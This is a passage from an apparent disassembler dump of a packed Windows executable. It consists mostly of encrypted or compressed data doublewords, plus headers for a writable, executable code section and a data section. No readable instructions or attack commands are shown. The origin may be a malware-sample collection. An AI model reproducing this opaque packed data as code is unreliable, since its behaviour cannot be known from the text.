0E6E7B5C0h dd 0B043B2BAh, 90931310h, 2E85AAD0h, 62C04AFh, 2F67A147h dd 0E4A6FEBCh, 82AC51A1h, 0ACCEA179h, 0EAFF7D02h, 0BCA442FAh dd 440B4473h, 28BE7FC5h, 33BD6D70h, 0F57C4F0Bh, 0BE9165F0h dd 0F45227F3h, 57C0E0Eh, 585E925h, 0A045ADD5h, 51E7261Fh dd 7EF93BCDh, 0E0CBF1E5h, 9EFCA113h, 0DA5F8DDh, 0C77A7637h dd 3DE055E5h, 6695299Ah, 15FCB470h, 90DFEBD0h, 5C1DD73Dh dd 9E89A472h, 3F9E308Ch, 0A991C4FBh, 0AFDEC43Fh, 48ADC305h dd 0A7801826h, 0E0108397h, 51E5461Ch, 701A216Ah, 0C70EFDC0h dd 88E6C7D6h, 0F6EEC8ACh, 38118AF3h, 0D0392D4Ah, 0F88A560Eh dd 2FA37FA8h, 85A97A0Bh, 48D7BB66h, 401F8656h, 0E93F104Bh dd 0A6E5BD71h, 0E53B0E53h, 0D3E26DABh, 0C627119h, 27C97243h dd 0B965A2DAh, 5CFF9BF9h, 216FA334h, 0C03CA182h, 0BAF39E3Ah dd 7B49E09Fh, 66658C83h dd 692EAA08h, 9FA056B0h, 0F88C9B6Ch, 361617CCh, 0B4BB642Ah dd 0FAEF2A10h, 7F626DCDh, 0EFA8AEDFh, 56EF85B8h, 0E020C5EFh dd 0FF40DCD7h, 3E7B8452h, 69A63308h, 0F8CC05A4h, 0EE12CB67h dd 0AB5036FBh, 27AE2895h, 34BBFFFCh, 4217CDAAh, 0F1055779h dd 5937078Bh, 0D64ADAEEh, 9DB1C48h, 0B17F94B8h, 0B87C55B9h dd 188F2B02h, 0ACA7F5C2h, 47D86033h, 0D838DE0h, 0EE9DD82Bh dd 0A4DD5251h, 3E4AD92Fh, 45C7DBDEh, 745AF20Ch, 0FAC6B565h dd 0BE363B64h, 4D57F12h, 6B232B89h, 0A938E19Fh, 0B6D74A74h dd 0DFF8C047h, 0E5B72E2h, 4E4CD038h, 35E16B40h, 359F1AA1h dd 0C037A1EEh, 79F8C674h, 90B9D853h, 0DD16CDADh, 0C9101B15h dd 0E4199674h, 66D489B5h, 313C0666h, 0BF50749Bh, 40A3FB5Ch dd 35CF5A18h, 0E0A43EBAh, 0FCC382AEh, 80E65539h, 0BDCE4466h dd 0A5C1C4A9h, 1BE0A199h, 0BF8F37E4h, 252A38CDh, 0B174C5FCh dd 46BAD0A9h, 7EA724D3h, 9A53CC3Ch, 248DCF73h, 6AAC3DD8h dd 0CFFFA413h, 0A0FBA6A0h, 8473DBCDh, 714FAAA3h, 0F6774FABh dd 17D6DA84h, 0DC0B00AEh, 753107B3h, 65F9E567h, 0AD41A105h dd 7E136774h, 37BD584Bh, 0E6295DB1h, 6822920Eh, 0F3DC2184h dd 1983318h, 3E993847h, 13A1385Ch, 4FA5F471h, 6B470F75h dd 0CD3329A8h, 0C0AC492Ah, 24790F21h, 81F035FDh, 748DB84Ah dd 0CF92EF2Ah, 2B5406BCh, 0CC485A62h, 271454DBh, 0A3E8F954h dd 8AFF452Fh, 0DA2C267Eh, 63038C0Ch, 98D10042h, 6A0D8192h dd 78D2226Ch, 35A130C8h, 0BBE1DBE3h, 0BF0878Ah, 0CC951C5Dh dd 0FA6E1DFFh, 0F5B6CF7Eh, 6FA310ABh, 0D1D41961h, 0E8054E33h dd 10751CDDh, 0C9D4A5C5h, 17A9F4DCh, 7172247h, 0C3D94F59h dd 42B0EC8Ah, 57787154h, 0AD26E4D6h, 46803736h, 4286F6A0h dd 0C2292738h, 535A56D3h, 3ED7B63Fh, 936C31AEh, 0C7E7ED5Bh dd 2BB3B79Eh, 0B8D1FEDDh, 0F8CD8238h, 0A3F138CDh, 1349B370h dd 33A58F34h, 0B93F90Dh, 7DA23D99h, 5C246B41h, 9B2AD0h dd 0AF41CED1h, 752B11D7h, 3DA73D2h, 0C7C31F1Bh, 811FD699h dd 0FA462D56h, 716C864Bh, 27348E64h, 0FED07932h, 96DB56E1h dd 0DA6D49C0h, 9A862CA9h, 2132E6F4h, 0E78E061h, 31C34EE9h dd 1FB39C81h, 453FF481h, 5162237Dh, 29DEAF18h, 0EEAA933Ch dd 0BDD8E06Eh, 0A8268CCAh, 679031CAh, 0D466AA25h, 31AF12D4h dd 2C7E9DBCh, 2CE0DFAFh, 0E4D9EA61h, 5421B4DDh, 0A5DFD274h dd 0AE88FDEh, 218BBEB8h, 0D87D2882h, 4CC9F59Dh, 4DC3765Ch dd 5A1BDBE2h, 0FD37F766h, 0B4CF7F15h, 0B4F3E618h, 8E3FC057h dd 4089B5BAh, 0AABEC271h, 0B499E394h, 0FCE120DFh, 4A7AB5AAh dd 3272A0Ch, 6653215Dh, 0EC36813Ah, 1E23A1EFh, 23F04F2Dh dd 965563Fh, 0BD92EC85h, 0DA52BF02h, 0FFB05370h, 6B45E8Fh dd 0F26E3302h, 321AB636h, 0B79C4178h, 0DBCE541Ch, 0F3E8526Ah dd 3883CC8Eh, 0B2240797h, 402EAB49h, 24A45EAAh, 7EAB3621h dd 5D690116h, 0A1BA0EDCh, 7AE3C866h, 439FF6B5h, 0C3872BF4h dd 0B893BF38h, 0E8106879h, 0A4CE6A32h, 54EB9D33h, 722B23C8h dd 652D7103h, 0A069388Fh, 9212E147h, 0D6594845h, 38DF8496h dd 0BFABA2F2h, 0B10E0D10h, 3C0FBDDFh, 734AC177h, 8C0A20CEh dd 65167E86h, 0D02D96Bh, 0DB9B57CDh, 0D2637BE0h, 0FF747B68h dd 0CDF964Fh, 0CF8716Eh, 0FA829537h, 9DEA3216h, 3030DE77h dd 1347E16Fh, 304D7BB7h, 3F2A9E08h, 0E18847D5h, 0A203317Ah dd 673E1588h, 3C4D7380h, 53D86C03h, 31CE0FB0h, 8B2D6D37h dd 0FB0B3B14h, 214F2179h, 8DB5BE05h, 0F676075Fh, 45DA5D1Ch dd 29636813h, 0E0995C4Bh, 0BAE06D96h, 3A5BC86Fh, 355D574Eh dd 6E90A28Eh, 0C6708779h, 86DDF7CCh, 0E450E770h, 8A547AF2h dd 78055010h, 0D85511E0h, 0B1B642D8h, 39C1BABh, 14F82A52h dd 4062C5Eh, 819B094Ch, 0CAECE5AEh, 1424BBEBh, 676D98Eh dd 444B46F9h, 0C26E463h, 73E5CCC6h, 218500C8h, 38CA994Eh dd 7432BB5Eh, 0D718A59Bh, 0AB578BDAh, 846C9ECBh, 9D71BF34h dd 0B345F79Ah, 74C8874h, 2FE987C7h, 6A813D40h, 0E8D03706h dd 83C3F9B9h, 0DA02388Dh, 1DD5916Eh, 0DC79A799h, 67136A11h dd 57DCDB25h, 6CD1F492h, 254929EFh, 0FB550B15h, 0CAC9B8CBh dd 667BB8F4h, 0A1121FBBh, 0CF8B3E6Eh, 0DAEEFBE7h, 3B2DC3A5h dd 5EE320CAh, 83E791B7h, 0B8B5BDA9h, 20601EF7h, 0B0C49C80h dd 714364D4h, 4146AB2h, 494B1AA0h, 0D0CCCC6Fh, 0C8BDD597h dd 2AF47713h, 4BB70070h, 0A9E09E37h, 62CC0DB1h, 0F6EE51A3h dd 8F4E2461h, 2747E661h, 6D233109h, 0E7554F5h, 49A2700h dd 0E63A838h, 90C2758Ah, 0F88D06BAh, 0F0980574h, 54B2142Eh dd 44E8FFCBh, 2412C77Ch, 2029A1EAh, 2FC8C493h, 0B70121F1h dd 0CC5D4480h, 2EA26826h, 3FCBD9E3h, 11058FD4h, 57AD6370h dd 0D9F6978h, 20E297D4h, 3F03BDB1h, 38FE5326h, 5327588Ah dd 5ABD66EDh, 98CACE43h, 636C49D3h, 0BFEDFB87h, 42E0FED8h dd 0D8979C4Bh, 0B9E7F8F6h, 57B3EE54h, 67F590EEh, 221FD902h dd 1D1DAE03h, 87312083h, 6CBF0B1Eh, 15DF9FD3h, 6104CF11h dd 94EF165h, 0EA2DEBD7h, 0CDE8F68Bh, 62EC11E2h, 0B53B6E74h dd 2B4A5B3Bh, 6885F02Ch, 7361C8E4h, 48DFBB18h, 1FFDCB1Bh dd 0AE9A51FBh, 1A8C4AABh, 410AC247h, 0F3E76A4Fh, 0BBB927DDh dd 0E14CE09Dh, 0D161C52Dh, 0A19E0B44h, 0D853D276h, 0A7A11715h dd 63779CA6h, 93576E5Ch, 0D8401EF2h, 5E012DA8h, 5F03A71Eh dd 0F8A5EDB5h, 6AF4469Fh, 0C9CCEBF1h, 87523951h, 587B663Ch dd 7EDB9360h, 0AF19191Dh, 8751FBF6h, 0B2BD1000h, 0A9099418h dd 48A37385h, 0BA507B83h, 38689A96h, 7B456FDCh, 4155379Bh dd 4331C322h, 0B43A37C9h, 35A17A69h, 0CADD8548h, 0C47C0D5Dh dd 8AD74A5Dh, 46C532B4h, 0D6B81F71h, 0F830D060h, 14F3921h dd 0F481159Eh, 2BCEB183h, 9F4B7725h, 59434273h, 91BC3D1Ch dd 0F15852DBh, 6CD5FE4Dh, 0FD587157h, 3830BCD1h, 1AD533F1h dd 0EEE08D0h, 0C87C22E2h, 180B3BBBh, 3F7CF656h, 0FF2CB4A5h dd 0FE72E758h, 0A38F2729h, 404CFC1Fh, 78323619h, 4B198B5Bh dd 0F2182587h, 0AF79015Dh, 0E510BC68h, 11FB08B9h, 0F53B38C4h dd 331E747Bh, 0C9EF19A7h, 918CDB27h, 36A2E4C3h, 0A364C32Fh dd 0CC02D5CBh, 49D8D19Bh, 0D1CAAF8Eh, 363D1A2Ah, 744CCBD0h dd 357B899Ah, 9B6DA42Ah, 0BC3D891Eh, 0DF4FD8Eh, 68C35BADh dd 2357E72Ch, 0D8D4A2C5h, 9D52BB58h, 17029BAFh, 0B5F30561h dd 0A51A8C13h, 0E8AC4BF4h, 28F2B16Fh, 19A05C64h, 204CCF15h dd 0DC8A46BDh, 9BB4FE09h, 0D57E3209h, 6CCE9020h, 56559D69h dd 0ECBFBF08h, 188C0BE0h, 631E0B99h, 0B8A5CFFFh, 18A5FEA7h dd 898EAD42h, 0F2B22A77h, 0FAF7743Bh, 81CA8F3h, 149487B2h dd 8BAEDE9Eh, 0D7134BA3h, 1EAAFDCFh, 0F5E686A6h, 4A0FBA17h dd 0EC9B67D0h, 59F971B8h, 60E5FD22h, 25CBB9C2h, 0E40F297Fh dd 0AF7683F6h, 0EF6F33A3h, 4B5EB9F0h, 3C7E2020h, 44826919h dd 12291322h, 0E96557D0h, 0BE8E9381h, 66474803h, 289CDA2h dd 3C8EEB51h, 4E0B9A72h, 928C9DD3h, 0A384AC38h, 9EF74C48h dd 0E74DF6C6h, 70D146B8h, 0D1C85B9Eh, 0EA4B75CAh, 48D3F780h dd 10B6B978h, 58AB6214h, 1FA71759h, 2FDABE55h, 0F625D744h dd 0F73C5FF0h, 131B5E75h, 0CD63F45Ch, 0B374DAB9h, 70EA9A06h dd 66005D19h, 0D00E02Bh dd 0AE46DCB9h, 0BB137C91h, 78D33168h, 1E9A0A3Ah, 0BD7C3C47h dd 2A5F4335h, 8D43ACA9h, 708C2034h, 7CA1BB07h, 0F1749D57h dd 0CBFCF7B0h, 0A83F1C59h, 2387C703h, 0C7222228h, 0BB4C56EEh dd 5BC64EFAh, 35B84830h, 0FF53DB0Ch, 203996E8h, 0CB748F2Ah dd 1C474507h, 0C0944D56h, 0E3D5F169h, 0F1F75245h, 0DDD81B5h dd 75EE88F2h, 0C0842F65h, 50722D7Ch, 0A49A4158h, 1B99898Ch dd 0A8115EA7h, 874182C6h, 8F5CAE3Fh, 599E8DB9h, 0EAE74073h dd 0E0394945h, 0F3C9FFBh, 759B6C58h, 3456BE23h, 0CF365BE7h dd 7E5C526Ah, 91FF6225h, 2949D8B5h, 1E3B8698h, 0C0E019BAh dd 0A768361Dh, 0ECB89B3Eh, 0B3F4A172h, 0F382A8A1h, 7ABDF071h dd 0FDBB4E40h, 8BEADE35h, 7F6AA9E8h, 0E91EDD30h, 7A0B114Eh dd 47570690h, 11C821DCh, 1E782C61h, 0E135697Fh, 510C26F3h dd 0DB84C5A1h, 0D10B1054h, 0ADA34FF2h, 23DE8B5Ch, 31100CC8h dd 0F786399Eh, 0ACF39A66h, 92166659h, 170B5A60h, 4589F784h dd 0E521279Dh, 0A2F64EF9h, 7DE2EEDAh, 0CADB5FE3h, 0DE07143h dd 8B9EAB0Bh, 2B924572h, 36A5DA9Fh, 8878102Bh, 0C3AC50B4h dd 317B3A95h, 0F409FA9Ch, 330FBD65h, 4F2CC68Ah, 0E80F7E6Dh dd 0AB900BCBh, 2297EFF6h, 0AEBE7E76h, 50E20323h, 38DBAB04h dd 16D12796h, 0FC5E47E5h, 0BFDEF1B7h, 63A86D30h, 0C053F21Bh dd 7AE14A5Eh, 0F1AA6342h, 0C80EAA93h, 0C2ED811Fh, 0A99F33DAh dd 15FCE829h, 0EA5962F4h, 0C55AEE35h, 0D6C7E78Fh, 0F378A50Eh dd 5AEDDB9Bh, 0AFDCC46Bh, 54EB762h, 0A0445A9Ah, 0CF781912h dd 0D70A3045h, 0C85683B8h, 4FA99E9Bh, 0EE5A0011h, 0CA0DD3AFh dd 0FA2E228Ah, 8A7102FEh, 0C69D20A5h, 0D728DA73h, 2FEA072h dd 6A1724E3h, 0C673CF5Ch, 1353CE07h, 6A581645h, 0A00C447Bh dd 2F9E0252h, 0AEBDCDF5h, 0A5E2E823h, 0DCAF00FDh, 61C423B1h dd 0E7E5151Ah, 0EA837024h, 0F35A9361h, 53233FE8h, 4BA171ECh dd 5A5BDC78h, 551C173Ch, 498E5890h, 5B01124Fh, 549793FCh dd 0B2618AECh, 77A2CA76h, 601DC35Eh, 4752E62h, 43C8520Bh dd 0E24C5B34h, 5B73691Bh, 41275BCCh, 797FE089h, 0EA6CA829h dd 94BA8821h, 0D4E0A639h, 12DB36B7h, 9E70D456h, 357F97C8h dd 0FABD2C0h, 25022021h, 56B12224h, 2EFED1A7h, 9D5569BDh dd 0EC87E9F8h, 930FC42Dh, 0E95551B6h, 0CC375DC0h, 0EC4E50BDh dd 0F0B0CAB5h, 1DC935ECh, 0AED81246h, 0C00D074Ch, 52C49FB7h dd 0A18E3A05h, 55A76F21h, 0E2A6E253h, 31FB92A5h, 0B39E6336h dd 0FE58A7A4h, 0FA24B52Bh, 19DA0470h, 1A3260BDh, 0B6279EB9h dd 0DF986E94h, 94AA02F4h, 0B15DCDB2h, 9B956288h, 0B4568272h dd 0B7F172C7h, 0BD0033h, 56168F28h, 0ED9D88h, 2A8D383Fh dd 580AA6Fh, 50C196CAh, 0A4451CAAh, 0BD48E903h, 156DD33Bh dd 0FA39553Ch, 0B2E6BB45h, 137116A3h, 0FA57310Fh, 22203288h dd 350D45A7h, 259F05F6h, 0AE795A7Ah, 0C38A9A98h, 8372DB35h dd 0A8B3BF2h, 0D587CAAFh, 8830BFDEh, 0B409EB63h, 15AB0A87h dd 1594F148h, 371EAB04h, 7FE4FA02h, 8DA9294Dh, 70567152h dd 37A3DC57h, 3BB176A3h, 307F11C3h, 8FE57F38h, 0A6E9AB04h dd 0B65C67F3h, 22B39112h, 8A09446Bh, 35B54CF1h, 6BA7F467h dd 0C635401Fh, 0E565E938h, 0E11F4E08h, 2E3CE87h, 0D6F87529h dd 0AE31E24Dh, 0CFAE59CCh, 0D3087678h, 0A1EAB943h, 121C6609h dd 0F08AE42Eh, 0A1338ACFh, 0FCCA5004h, 64E1AADEh, 4756F05Eh dd 89DC36FCh, 0BC722618h, 0B228DC19h, 6D0B097Bh, 2C7F49BDh dd 6C6EA971h, 6C3B6AC9h, 33E93096h, 37185746h, 0F6F575C8h dd 0F9E86908h, 99D3EF84h, 0D9C8BE70h, 799C4B97h, 85C11D30h dd 20C0h, 100h dup(0) _nsp1 ends ; Section 3. (virtual address 000A2000) ; Virtual size : 00000F58 ( 3928.) ; Section size in file : 00000F58 ( 3928.) ; Offset to raw data for section: 000A2000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp2 segment para public 'CODE' use32 assume cs:_nsp2 ;org 4A2000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 3D6h dup(0) _nsp2 ends ; Section 4. (virtual address 000A3000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000A3000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4A3000h align 2000h _idata2 ends end start